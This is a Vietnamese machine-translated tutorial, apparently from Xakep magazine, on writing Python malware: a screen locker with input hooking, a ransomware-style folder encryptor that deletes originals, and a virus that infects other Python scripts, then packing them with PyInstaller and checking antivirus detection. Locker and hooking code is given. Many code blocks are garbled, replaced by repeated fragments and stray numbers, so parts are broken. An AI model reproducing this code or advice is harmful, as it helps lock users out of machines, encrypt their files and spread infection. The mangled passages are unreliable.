Tại sao lại viết phần mềm độc hại trong Python? . Xét cho cùng, phần mềm độc hại được viết bằng Python đã phổ biến rộng rãi trong thế giới hoang dã này và nhiều phần mềm diệt vi-rút không phát hiện ra nó
Python thường được sử dụng để tạo các cửa hậu cho phép kẻ tấn công tải lên và thực thi mã tùy ý trên máy bị nhiễm. Chẳng hạn, vào năm 2017, Tiến sĩ. Các kỹ sư web đã khám phá ra Python. Cửa sau. 33; . Cửa sau. Siggen. 20 đã được phát hiện. Một trojan khác, RAT Python, đánh cắp dữ liệu người dùng từ các thiết bị bị nhiễm và sử dụng Telegram làm kênh truyền dữ liệu
Hôm nay, tôi sẽ tạo ba chương trình trình diễn. một tủ khóa chặn quyền truy cập vào máy tính cho đến khi người dùng nhập đúng mật khẩu;
thông tin
Việc quản trị từ xa các máy tính bị nhiễm virus nằm ngoài phạm vi của bài viết này, nhưng bạn có thể tìm thấy một số thông tin cơ bản về chủ đề này trong một bài viết có tiêu đề “Python reverse shell. Cách tăng dung lượng kết nối mạng của bạn bằng tập lệnh Python“
Mặc dù các chương trình của tôi không phải là siêu tiên tiến từ góc độ kỹ thuật, nhưng chúng vẫn có thể nguy hiểm trong một số trường hợp nhất định. Theo đó, tôi chính thức cảnh báo bạn rằng hành vi xâm nhập vào máy tính của người khác và phá hủy thông tin là hành vi phạm tội có thể bị trừng phạt hình sự. Chỉ chạy các chương trình này trên PC của riêng bạn và hãy thận trọng;
cảnh báo
Bài viết này chỉ dành cho mục đích giáo dục. Cả tác giả và Ban biên tập đều không thể chịu trách nhiệm pháp lý về bất kỳ thiệt hại nào do việc sử dụng ấn phẩm này không đúng cách
Thiết lập môi trường
Trước hết, tôi cần phiên bản thứ ba của Python. Quá trình cài đặt được mô tả chi tiết trong cuốn sách miễn phí có tên "A Byte of Python" cung cấp câu trả lời cho nhiều câu hỏi liên quan đến Python
Sau đó, tôi cài đặt một số mô-đun bổ sung cần thiết cho mục đích của mình
pip install pyAesCrypt
pip install pyautogui
pip install tkinter
Quá trình chuẩn bị đã hoàn tất, đã đến lúc bắt đầu viết mã
Khóa
Mục đích của tủ khóa của tôi là tạo cửa sổ toàn màn hình và ngăn người dùng đóng cửa sổ đó
Nhập thư viện
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep
Viết chương trình
# Create window
root = Tk[]
# Disable protection of the upper left corner of the screen
pyautogui.FAILSAFE = False
# Get window width and height
width = root.winfo_screenwidth[]
height = root.winfo_screenheight[]
# Set the window title
root.title['From "Xakep" with love']
# Make the window full-screen
root.attributes["-fullscreen", True]
# Create entry field, set its size and location
entry = Entry[root, font=1]
entry.place[width=150, height=50, x=width/2-75, y=height/2-25]
# Create text captions and set their location
label0 = Label[root, text="╚[•⌂•]╝ Locker by Xakep [╯°□°)╯︵ ┻━┻", font=1]
label0.grid[row=0, column=0]
label1 = Label[root, text="Enter password and press Ctrl + C", font='Arial 20']
label1.place[x=width/2-75-130, y=height/2-25-100]
# Enable continuous updates of the window and pause on
root.update[]
sleep[0.2]
# Click in the center of the window
click[width/2, height/2]
# Reset the key to zero
k = False
# Continuously check if the right key is entered
# If the right key is entered, call the hooligan function
while not k:
on_closing[]
Chuỗi pyautogui.FAILSAFE = False
liên quan đến bảo vệ, được kích hoạt khi con trỏ di chuyển đến góc trên bên trái của màn hình. Nếu bảo vệ được kích hoạt, chương trình sẽ đóng. Tôi không cần cái này và do đó hãy tắt chức năng này
Để tủ khóa của tôi hoạt động trên bất kỳ màn hình nào có độ phân giải bất kỳ, tôi đọc chiều rộng và chiều cao của màn hình, đồng thời sử dụng công thức đơn giản để tính toán vị trí di chuyển con trỏ, thực hiện lần nhấp, v.v. Trong trường hợp cụ thể này, con trỏ được di chuyển vào giữa màn hình, tôi. e. chiều rộng và chiều cao được chia cho hai. Tạm dừng [sleep
] được thêm vào để cho phép người dùng nhập mật khẩu
Phiên bản hiện tại của chương trình không chặn nhập văn bản – nhưng tôi có thể thêm tính năng này, do đó, khiến người dùng hoàn toàn bất lực. Nhưng trước tiên, tôi phải định cấu hình chương trình để chương trình đóng lại sau khi nhập đúng mật khẩu. Đối với thông tin của bạn, mã chặn bàn phím và chuột như sau
import pythoncom, pyHook
hm = pyHook.HookManager[]
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse[]
hm.HookKeyboard[]
pythoncom.PumpMessages[]
Tạo chức năng cho nhập khóa
def callback[event]:
global k, entry
if entry.get[] == "xakep":
k = True
Ý tưởng rất đơn giản. nếu khóa không khớp với khóa tôi đã chỉ định, chương trình sẽ tiếp tục chạy. Nếu mật khẩu đúng thì chương trình sẽ dừng
Chức năng cuối cùng cần thiết cho cửa sổ độc hại
def on_closing[]:
# Click in the center of the screen
click[width/2, height/2]
# Move the cursor to the center of the screen
moveTo[width/2, height/2]
# Enable full-screen mode
root.attributes["-fullscreen", True]
# If the user attempts to close the window from the Task Manager, call on_closing
root.protocol["WM_DELETE_WINDOW", on_closing]
# Enable continuous updating of the window
root.update[]
# Add a key combination that closes the program
root.bind['', callback]
Tủ khóa thủ công đã sẵn sàng
mã hóa
Để tạo vi-rút này, tôi sẽ chỉ cần một thư viện của bên thứ ba. pyAesCrypt. Ý tưởng là mã hóa tất cả các tệp trong một thư mục nhất định và tất cả các thư mục con của nó. Giới hạn quan trọng này không cho phép phá vỡ hệ điều hành. Tôi sẽ tạo hai tệp. một bộ mã hóa và một bộ giải mã. Sau khi hoàn thành công việc, các tệp thực thi này sẽ tự xóa
Trước tiên, tôi yêu cầu đường dẫn đến thư mục đích và mật khẩu mã hóa/giải mã
________số 8_______Sau đó, tôi tạo tập lệnh mã hóa và giải mã
with open["Crypt.py", "w"] as crypt:
crypt.write['''
program code
''']
Đã đến lúc tạo tệp để sử dụng làm mẫu. Đối với bộ mã hóa, tôi sẽ cần hai thư viện tiêu chuẩn
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep
0Viết hàm mã hóa [theo hướng dẫn sử dụng pyAesCrypt]
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep
1Thay vì str[mật khẩu], trình tạo tập lệnh sẽ chèn mật khẩu
Quan trọng. bộ đệm được sử dụng để mã hóa và giải mã tệp; . Cuộc gọi ______1_______2 được yêu cầu để xóa tệp gốc vì chương trình sao chép và mã hóa bản sao. Ngoài ra, bạn có thể hướng dẫn chương trình sao chép các tệp thay vì xóa chúng.
Chức năng phân tích cú pháp thư mục khá đơn giản
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep
3Cuối cùng, tôi thêm hai chuỗi nữa. Cái đầu tiên khởi chạy phân tích cú pháp;
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep
4Đường dẫn bắt buộc sẽ được chèn vào đây
Toàn bộ mã được hiển thị bên dưới
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep
5Sau đó, tôi tạo tệp 'mirror'. Trong bộ mã hóa, tôi đã sử dụng từ "mã hóa";
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep
6Chương trình bao gồm 29 chuỗi và chỉ ba trong số đó được dùng để giải mã. Trong trường hợp một số tệp bị hỏng và xảy ra lỗi, tôi sử dụng import pyautogui from tkinter import Tk, Entry, Label from pyautogu соi import click, moveTo from time import sleep
7. nếu một tệp không thể giải mã, thì chương trình sẽ bỏ qua tệp đó
Vi-rút
Tôi sẽ tạo một chương trình sẽ lây nhiễm cho các chương trình khác có một tiện ích mở rộng nhất định. Không giống như một loại vi-rút thực sự có thể lây nhiễm bất kỳ tệp thực thi nào, tập lệnh của tôi sẽ chỉ tấn công các chương trình được viết bằng Python
Lần này, tôi sẽ không cần bất kỳ thư viện bên thứ ba nào – chỉ cần các mô-đun sys và os. Nhập chúng
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep
8Tôi phải tạo ba chức năng. thông báo, trình phân tích cú pháp và lây nhiễm
Hàm thông báo về cuộc tấn công
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep
9Tôi gọi nó để đảm bảo rằng chương trình hoạt động
# Create window
root = Tk[]
# Disable protection of the upper left corner of the screen
pyautogui.FAILSAFE = False
# Get window width and height
width = root.winfo_screenwidth[]
height = root.winfo_screenheight[]
# Set the window title
root.title['From "Xakep" with love']
# Make the window full-screen
root.attributes["-fullscreen", True]
# Create entry field, set its size and location
entry = Entry[root, font=1]
entry.place[width=150, height=50, x=width/2-75, y=height/2-25]
# Create text captions and set their location
label0 = Label[root, text="╚[•⌂•]╝ Locker by Xakep [╯°□°)╯︵ ┻━┻", font=1]
label0.grid[row=0, column=0]
label1 = Label[root, text="Enter password and press Ctrl + C", font='Arial 20']
label1.place[x=width/2-75-130, y=height/2-25-100]
# Enable continuous updates of the window and pause on
root.update[]
sleep[0.2]
# Click in the center of the window
click[width/2, height/2]
# Reset the key to zero
k = False
# Continuously check if the right key is entered
# If the right key is entered, call the hooligan function
while not k:
on_closing[]
0Cơ chế phân tích thư mục trong vi-rút của tôi tương tự như được sử dụng trong bộ mã hóa
# Create window
root = Tk[]
# Disable protection of the upper left corner of the screen
pyautogui.FAILSAFE = False
# Get window width and height
width = root.winfo_screenwidth[]
height = root.winfo_screenheight[]
# Set the window title
root.title['From "Xakep" with love']
# Make the window full-screen
root.attributes["-fullscreen", True]
# Create entry field, set its size and location
entry = Entry[root, font=1]
entry.place[width=150, height=50, x=width/2-75, y=height/2-25]
# Create text captions and set their location
label0 = Label[root, text="╚[•⌂•]╝ Locker by Xakep [╯°□°)╯︵ ┻━┻", font=1]
label0.grid[row=0, column=0]
label1 = Label[root, text="Enter password and press Ctrl + C", font='Arial 20']
label1.place[x=width/2-75-130, y=height/2-25-100]
# Enable continuous updates of the window and pause on
root.update[]
sleep[0.2]
# Click in the center of the window
click[width/2, height/2]
# Reset the key to zero
k = False
# Continuously check if the right key is entered
# If the right key is entered, call the hooligan function
while not k:
on_closing[]
1thông tin
Về lý thuyết, tôi có thể sử dụng cùng một cơ chế để lây nhiễm các tệp được viết bằng các ngôn ngữ khác bằng cách thêm các đoạn mã được viết bằng các ngôn ngữ này vào các tệp có phần mở rộng tương ứng. Trong các hệ thống giống Unix, tập lệnh trong Bash, Ruby, Perl, v.v. có thể được thay thế bằng tập lệnh Python bằng cách thay đổi đường dẫn đến trình thông dịch trong chuỗi đầu tiên
Vi-rút sẽ lây nhiễm các tệp 'xuống dưới' thư mục chứa nó [Tôi gọi # Create window root = Tk[] # Disable protection of the upper left corner of the screen pyautogui.FAILSAFE = False
# Get window width and height
width = root.winfo_screenwidth[]
height = root.winfo_screenheight[]
# Set the window title
root.title['From "Xakep" with love']
# Make the window full-screen
root.attributes["-fullscreen", True]
# Create entry field, set its size and location
entry = Entry[root, font=1]
entry.place[width=150, height=50, x=width/2-75, y=height/2-25]
# Create text captions and set their location
label0 = Label[root, text="╚[•⌂•]╝ Locker by Xakep [╯°□°)╯︵ ┻━┻", font=1]
label0.grid[row=0, column=0]
label1 = Label[root, text="Enter password and press Ctrl + C", font='Arial 20']
label1.place[x=width/2-75-130, y=height/2-25-100]
# Enable continuous updates of the window and pause on
root.update[]
sleep[0.2]
# Click in the center of the window
click[width/2, height/2]
# Reset the key to zero
k = False
# Continuously check if the right key is entered
# If the right key is entered, call the hooligan function
while not k:
on_closing[]
2 để lấy đường dẫn]Ở đầu và cuối tệp, tôi thêm các nhận xét sau
# Create window
root = Tk[]
# Disable protection of the upper left corner of the screen
pyautogui.FAILSAFE = False
# Get window width and height
width = root.winfo_screenwidth[]
height = root.winfo_screenheight[]
# Set the window title
root.title['From "Xakep" with love']
# Make the window full-screen
root.attributes["-fullscreen", True]
# Create entry field, set its size and location
entry = Entry[root, font=1]
entry.place[width=150, height=50, x=width/2-75, y=height/2-25]
# Create text captions and set their location
label0 = Label[root, text="╚[•⌂•]╝ Locker by Xakep [╯°□°)╯︵ ┻━┻", font=1]
label0.grid[row=0, column=0]
label1 = Label[root, text="Enter password and press Ctrl + C", font='Arial 20']
label1.place[x=width/2-75-130, y=height/2-25-100]
# Enable continuous updates of the window and pause on
root.update[]
sleep[0.2]
# Click in the center of the window
click[width/2, height/2]
# Reset the key to zero
k = False
# Continuously check if the right key is entered
# If the right key is entered, call the hooligan function
while not k:
on_closing[]
3Mục đích của chúng sẽ được giải thích bên dưới
Đã đến lúc tạo chức năng tự sao chép
# Create window
root = Tk[]
# Disable protection of the upper left corner of the screen
pyautogui.FAILSAFE = False
# Get window width and height
width = root.winfo_screenwidth[]
height = root.winfo_screenheight[]
# Set the window title
root.title['From "Xakep" with love']
# Make the window full-screen
root.attributes["-fullscreen", True]
# Create entry field, set its size and location
entry = Entry[root, font=1]
entry.place[width=150, height=50, x=width/2-75, y=height/2-25]
# Create text captions and set their location
label0 = Label[root, text="╚[•⌂•]╝ Locker by Xakep [╯°□°)╯︵ ┻━┻", font=1]
label0.grid[row=0, column=0]
label1 = Label[root, text="Enter password and press Ctrl + C", font='Arial 20']
label1.place[x=width/2-75-130, y=height/2-25-100]
# Enable continuous updates of the window and pause on
root.update[]
sleep[0.2]
# Click in the center of the window
click[width/2, height/2]
# Reset the key to zero
k = False
# Continuously check if the right key is entered
# If the right key is entered, call the hooligan function
while not k:
on_closing[]
4Giờ đây, bạn có thể thấy mục đích của các nhận xét BẮT ĐẦU và DỪNG. chúng đánh dấu điểm bắt đầu và điểm kết thúc của mã vi-rút. Đầu tiên, chương trình đọc tệp và phân tích cú pháp từng dòng một. Khi tìm thấy dấu bắt đầu, nó sẽ đặt cờ. Một dòng trống được thêm vào; . Sau đó, chương trình đọc tệp lần thứ hai và ghi từng dòng mã gốc. Và cuối cùng, chương trình ghi vi-rút, thụt lề hai lần và viết mã gốc. Bạn cũng có thể làm điều này theo một cách hài hước, chẳng hạn như sửa đổi tất cả các dòng...
Tạo tập tin thực thi
Làm cách nào để chạy một loại vi-rút được viết bằng một ngôn ngữ tập lệnh trên PC mục tiêu? . [1] đảm bảo rằng trình thông dịch bắt buộc đã được cài đặt trên máy tính của nạn nhân; . Tôi triển khai biến thể thứ hai bằng tiện ích PyInstaller
Cài đặt PyInstaller
# Create window
root = Tk[]
# Disable protection of the upper left corner of the screen
pyautogui.FAILSAFE = False
# Get window width and height
width = root.winfo_screenwidth[]
height = root.winfo_screenheight[]
# Set the window title
root.title['From "Xakep" with love']
# Make the window full-screen
root.attributes["-fullscreen", True]
# Create entry field, set its size and location
entry = Entry[root, font=1]
entry.place[width=150, height=50, x=width/2-75, y=height/2-25]
# Create text captions and set their location
label0 = Label[root, text="╚[•⌂•]╝ Locker by Xakep [╯°□°)╯︵ ┻━┻", font=1]
label0.grid[row=0, column=0]
label1 = Label[root, text="Enter password and press Ctrl + C", font='Arial 20']
label1.place[x=width/2-75-130, y=height/2-25-100]
# Enable continuous updates of the window and pause on
root.update[]
sleep[0.2]
# Click in the center of the window
click[width/2, height/2]
# Reset the key to zero
k = False
# Continuously check if the right key is entered
# If the right key is entered, call the hooligan function
while not k:
on_closing[]
5Nhập lệnh
# Create window
root = Tk[]
# Disable protection of the upper left corner of the screen
pyautogui.FAILSAFE = False
# Get window width and height
width = root.winfo_screenwidth[]
height = root.winfo_screenheight[]
# Set the window title
root.title['From "Xakep" with love']
# Make the window full-screen
root.attributes["-fullscreen", True]
# Create entry field, set its size and location
entry = Entry[root, font=1]
entry.place[width=150, height=50, x=width/2-75, y=height/2-25]
# Create text captions and set their location
label0 = Label[root, text="╚[•⌂•]╝ Locker by Xakep [╯°□°)╯︵ ┻━┻", font=1]
label0.grid[row=0, column=0]
label1 = Label[root, text="Enter password and press Ctrl + C", font='Arial 20']
label1.place[x=width/2-75-130, y=height/2-25-100]
# Enable continuous updates of the window and pause on
root.update[]
sleep[0.2]
# Click in the center of the window
click[width/2, height/2]
# Reset the key to zero
k = False
# Continuously check if the right key is entered
# If the right key is entered, call the hooligan function
while not k:
on_closing[]
6Sau một lúc, nhiều tệp xuất hiện trong thư mục chứa chương trình. Nhưng tôi chỉ cần các tệp # Create window root = Tk[] # Disable protection of the upper left corner of the screen pyautogui.FAILSAFE = False # Get window width and height width = root.winfo_screenwidth[] height = root.winfo_screenheight[] # Set the window title root.title['From "Xakep" with love'] # Make the window full-screen root.attributes["-fullscreen", True] # Create entry field, set its size and location entry = Entry[root, font=1] entry.place[width=150, height=50, x=width/2-75, y=height/2-25] # Create text captions and set their location label0 = Label[root, text="╚[•⌂•]╝ Locker by Xakep [╯°□°)╯︵ ┻━┻", font=1] label0.grid[row=0, column=0] label1 = Label[root, text="Enter password and press Ctrl + C", font='Arial 20'] label1.place[x=width/2-75-130, y=height/2-25-100] # Enable continuous updates of the window and pause on root.update[] sleep[0.2] # Click in the center of the window click[width/2, height/2] # Reset the key to zero k = False # Continuously check if the right key is entered # If the right key is entered, call the hooligan function while not k: on_closing[] # Create window root = Tk[] # Disable protection of the upper left corner of the screen pyautogui.FAILSAFE = False # Get window width and height width = root.winfo_screenwidth[] height = root.winfo_screenheight[] # Set the window title root.title['From "Xakep" with love'] # Make the window full-screen root.attributes["-fullscreen", True] # Create entry field, set its size and location entry = Entry[root, font=1] entry.place[width=150, height=50, x=width/2-75, y=height/2-25] # Create text captions and set their location label0 = Label[root, text="╚[•⌂•]╝ Locker by Xakep [╯°□°)╯︵ ┻━┻", font=1] label0.grid[row=0, column=0] label1 = Label[root, text="Enter password and press Ctrl + C", font='Arial 20'] label1.place[x=width/2-75-130, y=height/2-25-100] # Enable continuous updates of the window and pause on root.update[] sleep[0.2] # Click in the center of the window click[width/2, height/2] # Reset the key to zero k = False # Continuously check if the right key is entered # If the right key is entered, call the hooligan function while not k: on_closing[]
7 được lưu trữ trong thư mục
8;
Kể từ khi xuất hiện các chương trình độc hại được viết bằng Python, các phần mềm chống vi-rút bắt đầu phản ứng rất lo lắng trước sự hiện diện của PyInstaller – ngay cả khi nó được đính kèm với một chương trình vô hại
Tôi đã quyết định kiểm tra các tác phẩm của mình trên VirusTotal;
- tập tin mật mã. exe được phát hiện bởi 12 phần mềm diệt vi-rút trong số 72;
- tủ đựng hồ sơ. exe, bởi 10 trong số 72 phần mềm diệt vi-rút;
- tập tin vi-rút. exe, bởi 23 chương trình diệt vi-rút trong số 72
Tập tin vi-rút. exe cho kết quả tệ nhất. rõ ràng, một số chương trình diệt vi-rút đã nhận thấy chức năng tự sao chép hoặc đọc tên của nó. Tuy nhiên, phần lớn các chương trình chống vi-rút không phản ứng với bất kỳ tệp nào của tôi
kết luận
Ba chương trình độc hại đã được viết bằng ngôn ngữ tập lệnh và được đóng gói bằng PyInstaller
Tất nhiên, vi-rút của tôi không đáng sợ đến thế, trong khi khóa và mã hóa phải được phân phối trên máy mục tiêu bằng cách nào đó. Không có chương trình nào giao tiếp với máy chủ C&C và tôi đã không làm xáo trộn mã của chúng theo bất kỳ cách nào - vì vậy, có rất nhiều điểm cần cải thiện
Tuy nhiên, sau khi kiểm tra các chương trình của tôi bằng các phần mềm chống vi-rút hiện đại, tôi phải thừa nhận rằng mức độ phát hiện của chúng thấp một cách đáng ngạc nhiên. Do đó, bất kỳ phần mềm độc hại thủ công nào cũng có thể trở thành mối đe dọa nghiêm trọng. bất kể phần mềm diệt vi-rút nào được cài đặt trên PC của bạn, bạn không bao giờ được chạy các chương trình không xác định được tải xuống từ Internet